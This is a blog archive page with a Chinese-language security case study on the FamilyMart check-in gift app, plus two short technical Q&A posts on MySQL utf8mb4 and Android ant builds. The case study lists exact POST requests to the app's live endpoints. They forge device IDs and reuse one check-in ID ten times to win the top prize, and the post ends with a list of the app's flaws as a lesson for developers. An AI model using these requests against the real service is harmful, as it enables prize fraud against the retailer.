Month: December 2015

(中文) [安全漏洞][案例#001][APP]全家好禮籤到

案例#1

全家好禮籤到 APP

Yang 聲明

此為研究案例,目的在於讓各位了解 APP 開發時嚴謹性及需要注意資安的重要。

請勿直接使用此文章方法產生出來的序號進行兌獎動作。

事先準備

首先使用 Chrome 安裝 Advanced REST client plugin,之後操作均會透過此 plugin 進行

步驟1

使用不同的 deviceId 產生出新的 deviceUid

URL http://www.tropox.com:8080/FamilyBeacon/Services/Identify
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceId a3603f1c3dcd704c
deviceType 2
application/x-www-form-urlencoded

fami01fami01_1

步驟2 – 簽到

簽到產生checkinId

URL http://www.tropox.com:8080/FamilyBeacon/Services/CheckIn
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceUid 6ce2b05a-4b53-471c-ab30-3a0185379875
storeid 1
beaconid 0118a6d9c3e-f7f9-415e-aff9-03fb7d9b2427

fami02 fami02_2

步驟3 – 獲得禮物

使用不同的 deviceId 產生出新的 deviceUid。

正常要收集10組不同 checkId 才能獲得金獎,但這邊工程師可能偷懶,即便同一組重複使用10次也可以過關。

URL http://www.tropox.com:8080/FamilyBeacon/Services/LotoryScratchCard
POST
User-Agent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; iOpus-I-M; .NET CLR 1.0.3705; .NET CLR 1.1.4322)
deviceUid 6ce2b05a-4b53-471c-ab30-3a0185379875
checkInId 前面取得的checkInId逗點隔開,總共重複十次
ver 2
application/x-www-form-urlencoded

fami_03 fami03_1

漏洞檢視:

1 網路封包未使用 https 或其他方式進行加密。

2 deviceUid 產生方式太不嚴謹,可以透過任意 deviceId 產生出 deviceUid

3 checkinId 產生方式太不嚴謹,beaconId 產生方式太過規律容易複製。

4 沒有針對異常網路操作進行阻擋

Tags :

[Q&A]mysql supports utf8mb4

my.cnf

1
2
3
4
5
6
7
8
9
10
11
[client] 
default-character-set = utf8mb4
 
[mysql] 
default-character-set = utf8mb4
 
[mysqld] 
character-set-client-handshake = FALSE 
character-set-server = utf8mb4 
collation-server = utf8mb4_unicode_ci 
init_connect='SET NAMES utf8mb4'

JDBC connector

remove characterEncoding=utf8

1
<property name="url" value="jdbc:mysql://localhost:3306/tomali?useUnicode=true&autoReconnect=true"/>
Tags : ,

[Q&A]How to specify multiple source directory for Android library project

ant.properties

1
source.dir=src:src1/subpath:src2

tools/ant/build.xml
comment or remove the last fileset tag in jar tag

1
2
3
4
5
6
<jar destfile="${out.library.jar.file}">                        
       <fileset dir="${out.classes.absolute.dir}"
            includes="**/*.class"
            excludes="${project.app.package.path}/R.class ${project.app.package.path}/R$*.class ${project.app.package.path}/Manifest.class ${project.app.package.path}/Manifest$*.class ${project.app.package.path}/BuildConfig.class"/>
       <!--fileset dir="${source.absolute.dir}" excludes="**/*.java ${android.package.excludes}" /-->
    </jar>
Tags :